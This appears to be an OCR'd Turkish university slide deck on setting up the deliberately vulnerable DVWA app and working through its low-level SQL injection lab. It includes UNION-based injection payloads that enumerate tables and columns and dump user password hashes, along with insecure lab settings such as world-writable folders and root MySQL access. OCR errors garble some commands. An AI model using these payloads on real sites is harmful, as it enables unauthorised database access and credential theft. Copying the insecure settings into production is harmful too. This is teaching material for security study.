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Damn Vulnerable Web Application(DVWA)

e DVWA:

o DVWA bir PHP/mysgl web uygulamasidir.

o Amag, sistem givenligi ile ilgili caligan kigiler igin bir calisma ortami saglamak.
e DVWA uzerinde yapilabilecek saldirilar

o SQL injection

O Brute Force

o Command injection

o XSS, CSRF ...
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DVWA kurulumu - 1. Adim

e Apt giincellemesi
o sudo apt update && sudo apt upgrade

e Aptile Apache web sunucusu, Mysql veritabani ve Php ve Git kurulumu
o sudo apt install apache2 mysql-server php php-mysqli php-gd libapache2-mod-php git

e DVWA Kurulumu
O  https:/lgithub.com/ethicalhack3r/DVWA.qit
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https://github.com/ethicalhack3r/DVWA.git

DVWA kurulumu - 2. Adim

1. DVWA indirilmesi, Varsayilan web uygulamasinin silinmesi ve yerine DVWA uygulamasinin konulmasi.

cd ~

git clone --recursive https://github.com/ethicalhack3r/DVWA.git
sudo rm /var/lwww/html/index.html

sudo cp -r ~/DVWA/* Ivarlwww/html/

cd /varlwww/html

2. Php config dosyasinin olusturulmasi

sudo cp config/config.inc.php.dist config/config.inc.php
3. DVWA iginde genel kullanim igin(Sadece SQL injection igin degil) gerekli izinlerin tanimlanmasi

sudo chmod 757 lvar/lwww/html/hackable/uploads/
sudo chmod 646 /varlwww/html/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt
sudo chmod 757 /varlwww/html/config

4. DVWA i¢in, php konfigurasyonun yapilmasi (allow_url_include ayarinin off > on yapilmasi)

sudo nano /etc/php/7.2/apache2/php.ini

>>>; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
>>>; hitp://php.net/allow-url-include

>>>allow_url_include = Off

5. Yapilan ayarlarin aktif olmasi igin web sunucusunun(Bizim durumumuzda apache2 oluyor) yeniden baslatiimasi

sudo systemctl restart apache2
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http://php.net/allow-url-include

DVWA kurulumu - 3. Adim

localhost B9 %

3.1) Yapilan konfigurasyonlar sonucu ayarlarin son durumu

3.2) Create/Reset Database’e bastiginizda, agagidaki gibi bir
sonu¢ almalisiniz ¢linkt henliz MySQL sunucusunda
konfigurasyon yapilmadi.

Home Database Setup -

Instructions Click on the ‘Create / Reset Database' button below to create or reset your database.
I:] If you get an error make sure you have the correct user credentials in: /var/www/html/config/config.in

If the database already exists, it will be cleared and the data will be reset

Brute Force You can also use this to reset the administrator credentials ("admin // password") at any stage.

Command Injection
o Setup Check
File Inclusion Operating system: *nix
Backend database: MySQL
File Upload PHP version: 7.2.19-0ubuntu0.18.04.2
Insecure CAPTCHA / Web Server SERVER_NAME: Iocalho“
SQL Injection B .
PHP function display_errors: Disabled
SQL Injection (Blind) PHP function safe_mode: Disabled
PHP function allow_url_include: Enabled
Weak Session IDs PHP function allow_url_fopen: Enabled
PHP function magic_quotes_gpc: Disabled
XSS{DOW) PHP module gd: Installed
XSS (Reflected) PHP module mysql: Installed
PHP module pdo_mysql: Installed
XSS (Stored)
MySQL username: root
CSP Bypass MySQL password: "+
MySQL database: dvwa
Javaseript | MySQL host: 127.0.0.1
DVWA Security | &eCADTCHA key: Missing /
PHP Info [User: root] Writable folder /var/www/html/hackable/uploads/: Yes
[User: root] Writable file /var/www/html/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt: Yes

Create / Reset Database

Could not connect to the MySQL service.
Please check the config file.

Your database user is root, if you are using

[User: root] Writable folder /var/www/html/config: Yes X : &
Logout Status in red, indicate there will be an issue when trying to complete some modules. MariaDB s this will not work, pleaS e read the
If you see disabled on either allow_uri_fopen or allow_url_include, set the following ingour php.ifi file and restart README.md file.

allow_url_fopen = On
allow_url_include = On

These are only required for the file inclusion labs so unless you want to play with thosg/ you can ignore them.

Create / Reset Database
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DVWA Kurulumu - 4. Adim

4.1)Son adim olarak agagidaki komut ile, mysql komut satir1 aktif hale
getirilip asagidaki 5 komut arka arkaya caligtirilir. Cieate | Reset Database

sudo mysq|l -u root -p

4.2) Mysql komut satirina gelindiginde agsagidaki komutlar caligtirilir.

mysqgl> DROP USER 'root'@'localhost'; Database has been created.

Query OK, 0 rows affected (0.00 sec)

mysgl> CREATE USER 'root'@'localhost' IDENTIFIED BY 'p@sswOrd';
Query OK, 0O rows affected (0.00 sec)

mysgl> GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' WITH GRANT

OPTION; Data inserted into 'users’ table.

‘users’ table was created.

Query OK, 0 rows affected (0.00 sec) -
mysgl> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.00 sec) 'guestbook’ table was created.
mysql> exit
R Data inserted into 'guestbook’ table.
4.3)Boylece Php konfigurasyonlarinda tanimlanan veritabani girig Fankin fil deoniyocniline ok
dizgisini degistirmeye ihtiya¢ duymadan, veritabani erigilebilir automatically created

hale getirilir. Setup successful!
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SQL Injection(Dusuk Seviye)

* Enjeksiyon saldirilari, kullanicilardan gelen datalarin kontrol edilmeden komutlarda
veya veritabani sorgularinda kullanilmasiyla meydana gelir.

* SQL Injection saldirilari da hedef web sitesinin kullandigi veritabaninda yetki olmaksizin
sql sorgulari calistirilmasini saglamaktadirlar.

* Veritabani lzerinde sql sorgularinin yetkisiz kiSiler tarafindan calistirilabilmesi de,
saldirganin sistemle veya sistemi kullanan kullaniciyla ilgili bircok veriye ulagabilecegi
anlamina gelir.
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SQL Injection(Dusuk Seviye)

e lk olarak metin kutusuna herhangi bir sayi girerek deneme yapalim. Metin kutusuna kullanici ID’si olarak 1 yazdik ve sonug

asagidaki gibi oldu. Yani metin kutusuna girdigim degeri ID yerine yazdi ve en onemlisi veritabanina erisim saglayarak bu
ID’ye sahip olan kullanicinin ismini ve soyismini ekrana basti.

Vulnerability: SQL Injection

User ID: Submit

101
First name: admin
Surname: admin
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SQL Injection(Dusuk Seviye)

e SQL injection igin, metin kutusuna 1’ yazip ne olacagini gorelim.
e Tirnak karakteri, SQL sorgularinda degerleri belirtirken yaygin olarak kullanilir.
e Eger tirnak(‘) karakteri i¢in bir hata aliyorsak, bu bizi saldiri stratejimiz konusunda yonlendirecek.

B localhost/vulnerabilitie: X JEg

< C @ @ localhost : e @ &

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the [right syntax to use near ''1''' at line 1]

Tirnak(‘) isareti
kullaniimis.

Yildiz Teknik, Oniversitesi - Bilgisayar MiihendisliQi Boliimii

7.10.2019



SQL Injection(Dusuk Seviye)

SQL Injection Source

vulnerabilities/sqli/sourcellow.php

<?php

if( isset( $ REQUEST[ 'Submit' ] ) ) {

$id = $_REQUEST[ 'id' ];

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli query(SGLOBALS[" mysqli ston"], $query ) or die( '<pre>'
while( $row = mysqli fetch assoc( $result ) ) {

$first = $row["first name"];
$last $row["last name"];

((is_object($GLOBALSI

echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

}

mysqli close($GLOBALS[" mysqli_ston"]);

7>
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SQL Injection(Dusuk Seviye)

e Hata aldik ve bu hata bize tirnak karakterinin sorgularda kullanildigini gosteriyor.

e Tirnak karakteri icin bir validation yapilmadigini da gordik, ¢unku gordUgumuaz hata mesaji sunucu/veritabani tarafindan
saglandi. Yani sunucu veya veritabani tarafinda bir kontrol durumu s6z konusu dedgil.

e O halde, # karakterini girdimin sonuna eklersem, SQL sorgusunun geri kalan bolimu yorum satirina dénusebilir ve bu da
saldirllarimiza uygun ortami hazirlamis olur.

Vulnerability: SQL Injection

User ID: | 1'# Submit

ID: 1'%
First name: admin
Surname: admin
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SQL Injection(Dusuk Seviye)

e Sorgunun geri kalan kismini yorum satirini yaptik, artik sql 7
sorgusunun geri kalan tarafina sql injection yapabiliriz. D A/

e 1 or‘0='0# veya 1’ or ‘0'="0 ekleyerek calistiralim.

Vulnerability: SQL Injection

User ID: | 1' or '0'="0'% Submit

/ID: 1ENOF '0'='0)
= First name: admin
Artik sorgu atilan tablodaki Surname: admin

ID: 1' or '0'='0"#

butﬁn kayltlarln bilgiSine First name: Gordon
RO | Surname: Brown
SathIZ y ID: 1' or '0'='0"#

First name: Hack
Surname: Me

ID: 1' or '0'='0'#
First name: Pablo
Surname: Picasso

ID: 1' or '0'="0"'#
First name: Bob

Qurname: Smith /

Yildiz Teknik, Oniversitesi - Bilgisayar MiihendisliQi Boliimii

7.10.2019



SQL Injection(Dusuk Seviye)

e Mevcut sorguyu kullanmak yerine baska sorgu
calistirabilir miyiz?

e 1'and'0'='0" union select database(),version() # seklinde
bir sorgu calistirip ne olacagini gorelim.

Vulnerability: SQL Injection

User ID: Submit

Kullanilan sistem ubuntu 18.04.1 mis.
. . ID: 1' and '0' = '0' union select database(),version() #
Ayrica mysql versiyonu da 5.7.27 mis. First name: admin

Surname: admin

ID: 1' and '0' = '0' union select database(),version() #
First name: dvwa

Surname: 5.7.27-0ubuntu0.18.04.1
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SQL Injection(Dusuk Seviye)

e Artik ne tur bir sisteme saldirdigimizi bildigimize gore,
daha detayli bilgilere ulasabiliriz, 6rnegin veritabanindaki
diger tablo isimlerini, tablo semasindan 6grenmek gibi..

e Asagidaki sorguyu calistiralim.

Vulnerability: SQL Injection

1" and '0'="0" union select null,table_name from
information_schema.tables where table_schema = 'dvwa' #

User ID: Submit

ID: 1' and '0'="'0"' union select null,table name from information schema.tables| w
First name: admin
Surname: admin

ID: 1' and '0'="'0"' union select null,table name from information schema.tables| w
First name:
Surname: guestbook

ID: 1' and '0'="'0"' union select null,table name from information schema.tables| w
First name:
Surname: users
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SQL Injection(Dusuk Seviye

e Artik tablolari biliyoruz, kullanici tablosundaki kolonlari
da ogrenebiliriz.
e Asagidaki sorguyu calistiralim.

o)

Vulnerability: SQL Injection

User ID: Submit
1' and 'O'='O' Unlon Se|eCt nU”,COIUmn name from ID: 1' and '0'='0"' union select null,column_name from information_schema.columns
. . - ' ' First name: admin
information_schema.columns where table_name = 'users' # Surname: adnin

ID: 1' and '0'='0" union select null,column name from information schema.columnls
First name:
Surname: user_id

ID: 1' and '0'='0"' union select null,column name from information schema.columnls
First name:
Surname: first_name

ID: 1' and '0'='0" union select null,column name from information schema.columnls
First name:
Surname: last_name

ID: 1' and '0'='0"' union select null,column_name from information_schema.columnfs
First name:
Surname: user

ID: 1' and '0'='0"' union select null,column name from information schema.columnls
First name:
Surname: password

ID: 1' and '0'='0"' union select null,column name from information schema.columnls
First name:
Surname: avatar

ID: 1' and '0'='0"' union select null,column_name from information_schema.columnfs
First name:
Surname: last_login

ID: 1' and '0'='0"' union select null,column name from information schema.columnls
First name:
Surname: failed_login

ID: 1' and '0'='0"' union select null,column name from information schema.columnls
First name:
Surname: CURRENT_CONNECTIONS

ID: 1' and '0'='0" union select null,column name from information schema.columnls
First name:
Surname: TOTAL_CONNECTIONS
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SQL Injection(Dusuk Seviye)

e Artik veritabanini tipini, veritabani stirimiindi, biitiin tablolari, D\@
saldirmaya karar verdigimiz kullanici tablosunu ve bu 4
tablonun kolonlarini biliyoruz.

Vulnerability: SQL Injection

1" and '0' ='0" union select user_id, password from users #

User ID: Submit
e Union ile segmek istedigimiz kolon sayisini arttirmayi ID: 1' and '0' = 0" union select  concat(user,0x0a,user_id), password from users
denedigimizde, kolon sayilari ile ilgili bir hata mesaji alinz. Bu Surname: admin
hata icin yapilabilecek seylerden bir tanesi ise kolonlari concat ile L L NIOBRGLAGE ICORRRE(RGE; SSRUASIC 1 1 | pRESOTEINON R
birlegtirmek. Surname: Sfadcc3bsaa765d61d8327deb8s2cro9
ID: 1' and '0' = '0' union select concat(user,0x0a,user_id), password from uslers

First name: gordonb
NeRs 2
localhost/vulnerablllt" X Surname: e99a18c428cb38d5f260853678922e03

ID: 1' and 'O’ '0' union select concat(user,0x0a,user_id), password from usjers

< % @ () localhost First name: 1337

;urname: 8d3533d75ae2¢3966d7e0d4fcc69216b
. 113 S0 d ‘6" = '6° i lect t( ,0x0a, id), d f
The used SELECT statements have a different number of columns sttty — e SeR e b RO S

4
Surname: 0d107de9f5bbed4Ocade3de5c71e9e9b7

ID: 1° and '0' = '0' union select concat(user,0x0a,user_id), password from uslers
1"and '0' ='0" union select concat(user,0x0a,user_id), password from users # € Liex e mtuy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
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SQL Injection(Duslk Seviye)

Textbox yerine Dropdownlist/combobox tiirevi bir element olsaydi,
bu durumda SQL injection engellenebilir miydi?
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